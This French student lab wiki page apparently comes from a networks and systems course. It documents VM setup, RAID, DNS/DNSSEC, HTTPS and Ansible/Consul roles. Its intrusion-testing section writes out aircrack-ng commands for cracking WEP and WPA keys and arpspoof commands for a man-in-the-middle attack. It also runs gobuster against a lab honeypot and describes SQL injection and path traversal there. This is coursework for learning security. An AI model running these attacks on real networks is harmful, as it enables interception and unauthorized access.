TP sysres IMA5 2021/2022 G1

De Wiki d'activités IMA


Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4 6509E (E304) IPv4 C9200 (E306) IPv4 ISR4331 (SR52) SSID VM
Andrei / Julien 10 10.00.0.0/16 2001:7A8:116E:60B0::0/64 10.00.0.250 10.00.0.251 10.00.0.252 10.00.0.253 Jonquille Kronenbourg
Robin / Aviran 01 10.01.0.0/16 2001:7A8:116E:60B0::1/64 10.01.0.250 10.01.0.251 10.01.0.252 10.01.0.253 Marguerite PaixDieu
Axel / Guillaume 02 10.02.0.0/16 2001:7A8:116E:60B0::2/64 10.02.0.250 10.02.0.251 10.02.0.252 10.02.0.253 Pensee Kasteel
Selim / Raphael 03 10.03.0.0/16 2001:7A8:116E:60B0::3/64 10.03.0.250 10.03.0.251 10.03.0.252 10.03.0.253 Lavende Karmeliet
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B0::4/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 Tulipe Duff
Boris / Louis 05 10.05.0.0/16 2001:7A8:116E:60B0::5/64 10.05.0.250 10.05.0.251 10.05.0.252 10.05.0.253 Rose Bellerose
Johnny / Arthur 06 10.06.0.0/16 2001:7A8:116E:60B0::6/64 10.06.0.250 10.06.0.251 10.06.0.252 10.06.0.253 Orchidee Anosteke
Mel / Theo 07 10.07.0.0/16 2001:7A8:116E:60B0::7/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol RinceCochon
Khalil / Alvare 08 10.08.0.0/16 2001:7A8:116E:60B0::8/64 10.08.0.250 10.08.0.251 10.08.0.252 10.08.0.253 Lys  
Souleyman / Enoch 09 10.09.0.0/16 2001:7A8:116E:60B0::9/64 10.09.0.250 10.09.0.251 10.09.0.252 10.09.0.253 Pissenlit Panache
Clement 110 10.10.0.0/16 2001:7A8:116E:60B0::A/64 10.10.0.250 10.10.0.251 10.10.0.252 10.10.0.253 Coquelicot Corona
INTERCO 531 fe80::1/10(304) fe80::2/10(306) fe80::3/10(SR53) 192.168.222.41/29 192.168.222.42/29 192.168.222.43/29  
XEN 42 2001:7A8:116E:60B0::F0/64(304) 2001:7A8:116E:60B0::F1/64(306) 2001:7A8:116E:60B0::F2/64(SR53) 192.48.57.187/26 192.48.57.188/26 192.48.57.189/26  

Table du VLAN 42

Groupe @IPv4 MV @IPv6 MV (auto)
Andrei / Julien 193.48.57.176/28  
Robin / Aviran 193.48.57.177/28  
Axel / Guillaume 193.48.57.178/28  
Selim / Raphael 193.48.57.179/28  
Helene / Camille 193.48.57.180/28  
Boris / Louis 193.48.57.181/28  
Johnny / Arthur 193.48.57.182/28  
Mel / Theo 193.48.57.183/28  
Khalil / Alvare 193.48.57.184/28  
Souleyman / Enoch 193.48.57.185/28  
Clement 193.48.57.186/28  

Note :

à compléter

Entité Élève Domaine 193.48.57.176/28 10.60.0.0/16 2001:660:4401:60B0::/60 2001:7A8:116E:60B0::/60 VLAN VLAN WIFI N° VRRP SSID n°1 SSID n°2
ROUTEUR E304 193.48.57.187  :: :F0  :: :F0 10.NN.00.250
ROUTEUR E306 193.48.57.188  :: :F1  :: :F1 10.NN.00.251
ROUTEUR SR52 193.48.57.189  :: :F2  :: :F2 10.NN.00.252
ROUTEUR FLOTTANTE 193.48.57.190  :: :F3  :: :F3 10.NN.00.253
Vlan INTERCO 531 INTERCO-SA 192.168.222.40/29 fe80::/10  ::1 fe80::/10  ::1 10.NN.00.253
Vlan INTERCO E304 192.168.222.41/29 fe80::/10  ::1 fe80::/10  ::1
Vlan INTERCO E306 192.168.222.42/29 fe80::/10  ::2 fe80::/10  ::2
Vlan INTERCO SR53 192.168.222.43/29 fe80::/10  ::3 fe80::/10  ::3


  • Plan d'adressage IPv4 :
VLAN Nom Réseau IPv4 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2
  • Plan d'adressage IPv6 :
VLAN Nom Réseau IPv6 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2

Configuration du routeur en SR-52

(À compléter)


Machine Virtuelle

Création de la VM

On commence tout d'abord par se connecter au domaine capbreton :

ssh root@capbreton.plil.info

On crée ensuite notre vm avec :

xen-create-image --hostname=Kronenbourg --gateway=193.48.57.188 --ip=193.48.57.176 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglop --dist=bullseye

Afin d'accéder à la console de notre vm il nous fallait au préalable modifier le fichier /etc/xen/Kronenbourg.cfg en y rajoutant dans Networking le bridge IMA5sc :

vif=['ip=193.48.57.176 ,mac=00:16:3E:8A:70:9D, bridge=IMA5sc']

On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :

lvcreate -L10G -n Kronenbourg-home storage
lvcreate -L10G -n Kronenbourg-var storage

Dans /etc/xen/Kronenbourg.cfg :

disk        = [
                 'file:/usr/local/xen/domains/Kronenbourg/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Kronenbourg/swap.img,xvda1,w',
                 'phy:/dev/storage/Kronenbourg-home,xvda3,w',
                 'phy:/dev/storage/Kronenbourg-var,xvda4,w'
             ]

Pour lancer et se connecter à la VM :

xl create /etc/xen/Kronenbourg.cfg -c

Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:

/dev/xvda3 /home ext4 defaults	0 2
/dev/xvda4 /var  ext4 defaults	0 2

On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:

mkfs.ext4 /dev/xdva3

Au début, nous n'avions pas encore accès à Internet. Afin de continuer le TP en attendant :

mount -o loop /usr/local/xen/domains/Kronenbourg/disk.img /mnt/kro/
mount /dev/storage/Kronenbourg-var var/

chroot /mnt/kro

apt update && apt upgrade
apt install apache2

Connexion à Internet

Problèmes initiaux

Dans un premier temps, nous avions utilisé par manque d'adresses l'IP 193.48.57.176/28, qui est en fait l'adresse du réseau.

Ceci a fait que nous ne pouvions pas accéder à Internet, et nous avons également vu certains comportements assez curieux.

Par exemple, depuis notre Zabeth :

pifou@zabeth:~$ ping 193.48.57.176
64 bytes from 192.168.222.74: icmp_seq=1 ttl=253 time=0.561 ms

On voit que c'est une autre machine qui répond (à priori un routeur).

Solution par apprentissage

Pour résoudre ce problème, on décide d'utiliser le réseau des alternants. Leur configuration étant différente de la notre, il y a pas mal de choses à modifier.

Nouvelle configuration
Adresse IPv4 publique 193.48.57.174
Adresse IPv4 privée 10.60.100.174/24
Gateway 10.60.100.254

Dans /etc/network/interfaces:

iface eth0 inet static
 address 10.60.100.174/24
 up ip address add dev eth0 193.48.57.174/32 ; ip route add default via 10.60.100.254 src 193.48.57.174
 down ip address del dev eth0 193.48.57.174/32 ; ip route del default via 10.60.100.254 src 193.48.57.174

Enfin, on configure le routeur de sorte à amener toutes les trames à destination de 193.48.57.174 à 10.60.100.174.

RAID logiciel

Construire

On crée 3 LVM sur capbreton :

lvcreate -L1G -n Kronenbourg-eins storage
lvcreate -L1G -n Kronenbourg-zwei storage
lvcreate -L1G -n Kronenbourg-drei storage

Dans le fichier de config, on rajoute :

disk = [
       ...
       'phy:/dev/storage/Kronenbourg-eins,xvda11,w',

'phy:/dev/storage/Kronenbourg-zwei,xvda12,w', 'phy:/dev/storage/Kronenbourg-drei,xvda13,w'

]

On relance la machine, et on crée sur chaque disque une partition de type Linux RAID, en utilisant l'utilitaire fdisk.

Enfin, pour créer le RAID :

apt install mdadm
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda1?

Puis, pour pérenniser la configuration :

mdadm --monitor --daemonise /dev/md0

Et on ajoute dans /etc/fstab une entrée pour monter automatiquement le volume.

On peut maintenant préparer un fichier important sur le volume :

echo "Mot de passe important" > /raid/important.txt

Casser

Oh non, pendant la nuit, les loup-garous ont décidé d'enlever le petit zwei !

	'phy:/dev/storage/Kronenbourg-eins,xvda11,w',
	# 'phy:/dev/storage/Kronenbourg-zwei,xvda12,w',
	'phy:/dev/storage/Kronenbourg-drei,xvda13,w',

Dans les logs systemd, on peut voir quelques indices d'un enlèvement :

[   66.334760] md/raid:md0: device xvda13 operational as raid disk 2
[   66.334769] md/raid:md0: device xvda11 operational as raid disk 0
[   66.336044] md/raid:md0: raid level 5 active with 2 out of 3 devices, algorithm 2
[  OK  ] Finished Activate md array md0 even though degraded.

Tout de même, on peut toujours retrouver notre fichier important :

# cat /raid/important.txt
Mot de passe important

Bingo !

Point d'accès WiFi

Services Internet

Serveur DNS

Choix du nom de domaine

Nous avons procédé au choix du nom de domaine sur le site gandi.net : frais-comme-une-kro.club

On définit notre machine virtuelle comme serveur pour notre DNS en rentrant nos adresses IPv4 et IPv6 directement sur le site Gandi.net

On installe ensuite Bind9 sur notre VM, qui permet d'avoir un serveur DNS directement sur la VM :

# apt install bind9

Configuration

Dans /etc/bind/named.conf.local :

zone "frais-comme-une-kro.club" {
	type master;
	file "/etc/bind/db.frais-comme-une-kro.club";
	
	notify yes;
};

Dans /etc/bind/db.frais-comme-une-kro.club :

$TTL 36000
$ORIGIN frais-comme-une-kro.club.
; Le SOA :
@	IN	SOA	frais-comme-une-kro.club. admin.frais-comme-une-kro.club. (
				1	; numero de serie
				3600	; refresh
				180	; retry
				1209600	; expiry
				36000	; nx
				)

; Site du serveur DNS :
	IN	NS	ns1.frais-comme-une-kro.club.

; Adresse du serveur DNS :
ns1	IN	A	193.48.57.174                         ;IPV4
ns1	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8a:709d ;IPV6

; Les adresses :
@	IN	A	193.48.57.174
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8a:709d
www	IN	A	193.48.57.174
www	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8a:709d

Où :

  • Le champ $TTL détermine le nombre de secondes avant la prise en compte d'une modification.
  • $ORIGIN définit l'adresse référencée par "@", ainsi que le suffixe des mots comme "site" et "ns1".
  • IN insinue qu'on utilise des adresses IP.
  • A veut dire que le champ en question renvoie une adresse (et non pas un autre serveur DNS par exemple).
  • NS signifie qu'on définit un Name Server.

Sécurisation du DNS par DNSSEC

C'est pas un grand secret, surtout en regardant le tuto sur rex.plil.fr .

On se retrouve avec un fichier db.frais-comme-une-kro.club.signed, qui reprend les informations du fichier précédent, en y ayant rajouté des registres DNSKEY, RRSIG et NSEC.

Serveur Web

Page par défaut Apache

Nous installons Apache2. Nous pouvons tout de suite accéder à la page web, qui se présente sous la forme d'une aide sous Debian.

On pimpe cette page en modifiant le fichier /var/www/html/index.html.

Serveur Web, mais sécurisé

Avec openssl, on crée un couple de clés publique(certificat)/privée :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -key server.csr

On demande gentiment à Gandi de nous valider notre certificat .csr. Il nous donne en échange un certificat .crt.

On configure alors Apache pour qu'il utilise ce certificat :

a2enmod ssl     # active le module Apache SSL
a2enmod rewrite # active le module Apache de réécriture des URL

On modifie ensuite /etc/apache2/sites-available/000-default.conf, qui définit les hosts virtuels qui servent notre page Web :

# Port 80 : http
<VirtualHost *:80>
	# Redirige le flux http vers https :
	RewriteEngine On
	RewriteCond %{HTTPS} !=on
	RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Port 443 : https
<VirtualHost *:443>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# Utilisation des certificats :
	SSLEngine on
	SSLCertificateFile /root/frais-comme-une-kro.club.crt
	SSLCertificateKeyFile /root/myserver.key
</VirtualHost>

*Click!* 🔒

Tests d'intrusion

WEP

Nous allons procéder à un cassage de clef WEP d'un point d'accès Wi-Fi. Pour cela nous utilisons le paquetage aircrack-ng.

airmon-ng
airmon-ng start wlan0mon

On écoute ensuite les trames Wi-Fi :

airodump-ng --encrypt wep wlan0mon

On repère ensuite l'ESSID correspondant à notre groupe : cracotte01 Puis on récupère son BSSID associé.

aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon

On récupère les VI et on les stocke :

airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon

On procède ensuite à la fausse identification :

aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon

On lance ensuite l'algorithme de craquage :

aircrack-ng -b 04:DA:D2:9C:50:50 output*.cap

On obtient ensuite la clef : Clef craquage wep kronenbourg.jpg

WPA-PSK

airmon-ng
airmon-ng start wlan0mon 9
airodump-ng wlan0mon

Nous prenons le point d'accès kracotte01 et récupérons son BSSID

On lance ensuite la commande suivante, tout en la laissant tourner jusqu'à avoir un Handshake :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:00 -w psk wlan0mon

Il y avait déjà un dictionnaire de créé nous l'avons donc réutilisé

aircrack-ng psk*.cap
aircrack-ng -w dico.txt -b 44:AD:D9:5F:87:00 psk*.cap

Et on laisse tourner, on observe qu'il faut plus de 36h (sur l'ordinateur portable) pour tester toutes les combinaisons présentent dans le dictionnaire :

Aircrack jdelabre.jpg

Attaque de type "homme au milieu" par usurpation ARP

On installe dsniff sur l'ordinateur portable:

apt install dsniff

Ensuite nous devons mettre la variable noyau ip_forward à 1 (qui est de base à 0), cette variable permet à notre machine de se comporter un peu comme un routeur en écoutant sur le réseau:

sysctl -w net.ipv4.ip_forward=1

Il nous faut ensuite choisir un machine à tromper avec notre attaque, on aura besoin de son adresse IP:

172.26.145.52

Ainsi que celle du routeur auquel elle est connecté:

172.26.145.0

On effectue ensuite la commande suivante:

arpspoof -t 172.26.145.52 172.26.145.0

Elle nous permet de se faire passer pour le routeur auprès de la machine

On lance ensuite Wireshark et on filtre les résultat par rapport à l'IP voulu donc celle de la machine ciblée

Intrusion sur un serveur d'application Web

Exploration

Dans un premier temps, on fait du repérage. On va sur le site honey.plil.info. On est invité à entrer un num d'utilisateur et un mot de passe pour se connecter.

En mettant des identifiants aléatoires, un message "Mauvais identifiants" s'affiche.

Avec wireshark

En inspectant la requête POST qui a été envoyée, on voit déjà que les identifiants sont envoyés en clair dans l'URL. Ainsi, en espionnant le réseau, il devrait être possible de récupérer ces derniers. Intéressant..

On essaie de soumettre une requête sans la valeur de mot de passe. On obtient une nouveau message (dans une autre couleur cette fois) : "Les identifiants ne doivent pas être vides". Arf, dommage.

Avec gobuster

On cherche a avoir la liste des URLs accessibles. On peut pour ce faire utiliser gobuster :

sudo apt install gobuster

Il nous faut aussi télécharger une liste de répertoires communs :

wget https://raw.githubusercontent.com/daviddias/node-dirbuster/master/lists/directory-list-2.3-medium.txt

On peut lancer gobuster :

gobuster -e -u http://honey.plil.info/ -w directory-list-2.3-medium.txt
=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://honey.plil.info/
[+] Threads      : 10
[+] Wordlist     : directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2021/12/13 16:41:23 Starting gobuster
=====================================================
http://honey.plil.info/javascript (Status: 301)
http://honey.plil.info/Docs (Status: 301)
http://honey.plil.info/phpmyadmin (Status: 301)
http://honey.plil.info/server-status (Status: 403)
=====================================================
2021/12/13 16:42:08 Finished
=====================================================

Tiens tiens tiens; on a plusieurs liens.

Le plus intéressant est honey.plil.info/Docs. Je vous laisse découvrir par vous-même les contenus.

Injection SQL

En injectant une requête SQL, on arrive à obtenir une liste de mots de passe disponibles. Malheureusement, on ne trouve pas celui de root, mais on a au moins celui de l'administrateur. On progresse.

2e étape

On arrive sur une interface de gestion des utilisateurs et des manuels.

Les manuels peuvent être rajoutés via leur chemin absolu, ce qui nous permet d'accéder à des fichiers auxquels on n'aurait pas accès autrement. Notamment, on a config-db.php, dans lequel on trouve.. encore un mot de passe !

Celui-ci est pour php-myadmin, cette fois.

Chiffrement de données

Pour le chiffrement de données nous avons pris une clef USB.

Nous avons créé une partition sda1

Puis à l'aide de cryptsetup nous avons chiffré cette clef en lui mettant le mot de passe "glop"

cryptsetup --verify-passphrase luksFormat /dev/sda1
cryptsetup luksOpen /dev/sda1 volume_chiffre

puis ajouté un document texte "secret" destiné au binôme avec qui on allait échanger la clef.

mount /dev/mapper/volume_chiffre /mnt
touch secret
echo "Haha le mot de passe c'est juste glop" > secret 
cd ..
unmount /mnt 

cryptsetup luksClose volume_chiffre

Création d'une deuxième MV (ASR)

Une deuxième MV est fournie, avec le fichier de configuration Xen déjà donné.

Setup ssh

Sur notre zabeth, on crée une clé ssh, qu'on upload sur la MV :

ssh-keygen -t ed25519 -f .ssh/id_ed25519 -C "andrei.florea@polytech-lille.net" -P 
ssh-copy-id -i /home/pifou/.ssh/id_ed25519.pub root@172.26.145.101

Ceci permet de se connecter en root sans mot de passe. On peut modifier le fichier sshd_config :

PermitLoginRoot without-password

Setup ansible

Toujours sur la Zabeth:

On clone le repo de Thomas, donnant un squelette d'une config Ansible

Dans le fichier inventory :

pra-01 ansible_ssh_host="172.26.145.101"

On crée un venv python pour ansible :

$ python3 -m venv ~/env-ansible
$ source ~/env-ansible/bin/activate
$ pip3 install -U setuptools wheel
$ pip3 install -U ansible

Fix apt/sources.list

Par défaut, le fichier /etc/apt/sources.list est erroné. Je crée une task ansible pour le régler :

On rajoute le bon fichier dans files/sources.list.

Ensuite, dans le main.yaml, avant l'utilisation d'apt :

- name: "Setup apt config"
  copy:
    src: files/sources.list
    dest: /etc/apt/sources.list
    owner: root
    group: root
    mode: 0644

Ajout SSH

On crée les fichiers roles/ssh_key/tasks/main.yml et roles/ssh_key/templates/authorized_keys.j2 :

main.yml:

- name: "Authorize Thomas's SSH key"
  template:
    src: authorized_keys.j2
    dest: /root/.ssh/authorized_keys
    owner: root
    group: root
    mode: "0600"

authorized_keys.j2:

{% for item in ssh_keys %}
{{ item.key }}
{% endfor %}

Les clés ssh étant données sous forme de liste, on utilise une boucle for.

On ajoute le role ssh_key dans polytech.yml.

Ajout Docker

On installe le rôle docker :

ansible-galaxy install geerlingguy.docker

Puis dans polytech.yml :

- hosts: all
  roles:
   ...
   - geerlingguy.docker

Mur de feu

On bloque certains ports de notre machine pour les connections venant d'Internet. Voir la partie de Boris sur le sujet, car j'ai tout copié comme un salop.

PS: la partie de Boris casse tout, ça m'apprendra à copier.

Consul

youpi, je suis le 2e master consul.

roles/consul/tasks/main.yml:

- name: "Create group consul"
  group:
    name: consul
    gid: 666
- name: "Create user consul"
  user:
    name: consul
    group: consul
    uid: 666
- name: "Create /etc/consul.d"
  file:
    path: /etc/consul.d
    state: directory
    owner: consul
    group: consul
- name: "Create /var/lib/consul"
  file:
    path: /var/lib/consul
    state: directory
    owner: consul
    group: consul

Je n'utilise pas Docker, afin de pouvoir manier Systemd dans le but d'irriter Xavier :

- name: "Add consul GPG key"
  apt_key:
    url: "https://apt.releases.hashicorp.com/gpg"
- name: "Add hashicorp repository"
  apt_repository:
    repo: "deb https://apt.releases.hashicorp.com bullseye main"
    state: present
- name: "Install consul"
  apt:
    name:
      - consul
- name: "Config consul"
  template:
    src: config.json.j2
    dest: /etc/consul.d/server.json
    owner: consul
    group: consul
- name: "Reload daemons"
  systemd:
    daemon-reload: "yes"
- name: "Start consul service"
  systemd:
    name: consul
    state: restarted
    enabled: yes

Et le template config.json.j2:

{
	"datacenter": "polytech",
	"data_dir": "/var/lib/consul",
	"log_level": "INFO",
	"node_name": "Kronenbourg",
	"server": true,
	"bind_addr": "{{ ansible_default_ipv4["address"] }}",
	"retry_join": ["172.26.145.106"],
	"bootstrap_expect": 2,
	"ui": true,
	"client_addr": "0.0.0.0"
}

Les adresses dans retry_join étant celles des consuls 1 et 3.